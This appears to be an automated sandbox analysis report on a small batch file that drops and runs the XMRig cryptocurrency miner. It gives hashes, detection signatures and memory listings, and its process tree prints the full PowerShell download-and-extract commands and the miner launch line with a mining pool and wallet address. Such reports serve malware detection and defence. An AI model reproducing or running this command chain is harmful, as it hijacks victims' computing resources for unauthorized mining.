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Analysis

  • max time kernel
    1818s
  • max time network
    1828s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy - Copy (14).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4876
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3156

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    9c45f5c599a9e671a653c199a049874f

    SHA1

    878297ebc5d7bf36267aa18b1d93d97f38c018b0

    SHA256

    6975762a36d84c64d2b7f9b2d4950b0d3f224246729a413b43632b65992742d5

    SHA512

    61117b312cc3470d2a12d92721cdee32dda6f8218bdf3c66015b49a03681e063df21f7acbe605626a3c8f3f21ebbe171afb10c0f7c5bae611c42bc98e9c7535a

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cagghbyk.ftq.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    182KB

    MD5

    71e960d37854bd3c6c8a212d70daff17

    SHA1

    d9d3668049a8ccf3c76813665709b0e49aa0f952

    SHA256

    82f7f70e57a05350f0047ec2a3e2b3208441752999b63ca13cfd1eb32d022f68

    SHA512

    0e56bb3df9195d04c479e39c832982eb3ce5fa94c65639d1e163adc246ddc0a8cb4963b1785d384d6d303151035f39b19c5bea5e11c1db4425bd7315ffc8ceee

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    57KB

    MD5

    bcaa6f8e0596714690c65f3b496ff7c7

    SHA1

    d6e6980c13161436a71ed6e27b335a04cf02bae0

    SHA256

    1e508dd50441344fd3d7296d12a03e2386115621293c9436efac2c2555cbc778

    SHA512

    2b4bb3393fede2274e6d3d1ae1212f82e55b900944751cfef138348a1c19d11826c653a6391b0dac3648aa4a1b4be19a6b3433cd0c2d1ec860911280408f34b9

  • memory/2292-10-0x000001D824630000-0x000001D8246A6000-memory.dmp

    Filesize

    472KB

  • memory/2292-25-0x000001D824370000-0x000001D824380000-memory.dmp

    Filesize

    64KB

  • memory/2292-26-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/2292-27-0x000001D824370000-0x000001D824380000-memory.dmp

    Filesize

    64KB

  • memory/2292-28-0x000001D824370000-0x000001D824380000-memory.dmp

    Filesize

    64KB

  • memory/2292-29-0x000001D824370000-0x000001D824380000-memory.dmp

    Filesize

    64KB

  • memory/2292-34-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/2292-7-0x000001D824370000-0x000001D824380000-memory.dmp

    Filesize

    64KB

  • memory/2292-4-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/2292-5-0x000001D824370000-0x000001D824380000-memory.dmp

    Filesize

    64KB

  • memory/2292-6-0x000001D824480000-0x000001D8244A2000-memory.dmp

    Filesize

    136KB

  • memory/3156-143-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-150-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-188-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-187-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-186-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-185-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-120-0x000001B6A5770000-0x000001B6A5790000-memory.dmp

    Filesize

    128KB

  • memory/3156-184-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-121-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-122-0x000001B6A7180000-0x000001B6A71C0000-memory.dmp

    Filesize

    256KB

  • memory/3156-123-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-125-0x000001B6A71E0000-0x000001B6A7200000-memory.dmp

    Filesize

    128KB

  • memory/3156-124-0x000001B6A71C0000-0x000001B6A71E0000-memory.dmp

    Filesize

    128KB

  • memory/3156-126-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-127-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-128-0x000001B6A71C0000-0x000001B6A71E0000-memory.dmp

    Filesize

    128KB

  • memory/3156-129-0x000001B6A71E0000-0x000001B6A7200000-memory.dmp

    Filesize

    128KB

  • memory/3156-130-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-131-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-132-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-133-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-134-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-135-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-136-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-137-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-138-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-139-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-140-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-141-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-142-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-183-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-144-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-145-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-146-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-147-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-148-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-149-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-182-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-151-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-152-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-153-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-154-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-155-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-156-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-157-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-158-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-159-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-160-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-161-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-162-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-163-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-164-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-165-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-166-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-167-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-168-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-169-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-170-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-171-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-172-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-173-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-174-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-175-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-176-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-177-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-178-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-179-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-180-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/3156-181-0x00007FF627830000-0x00007FF628333000-memory.dmp

    Filesize

    11.0MB

  • memory/4876-66-0x0000018953040000-0x0000018953050000-memory.dmp

    Filesize

    64KB

  • memory/4876-40-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/4876-41-0x0000018953040000-0x0000018953050000-memory.dmp

    Filesize

    64KB

  • memory/4876-117-0x00007FFBB3640000-0x00007FFBB402C000-memory.dmp

    Filesize

    9.9MB

  • memory/4876-93-0x0000018953120000-0x000001895312A000-memory.dmp

    Filesize

    40KB

  • memory/4876-43-0x0000018953040000-0x0000018953050000-memory.dmp

    Filesize

    64KB

  • memory/4876-80-0x000001896B4B0000-0x000001896B4C2000-memory.dmp

    Filesize

    72KB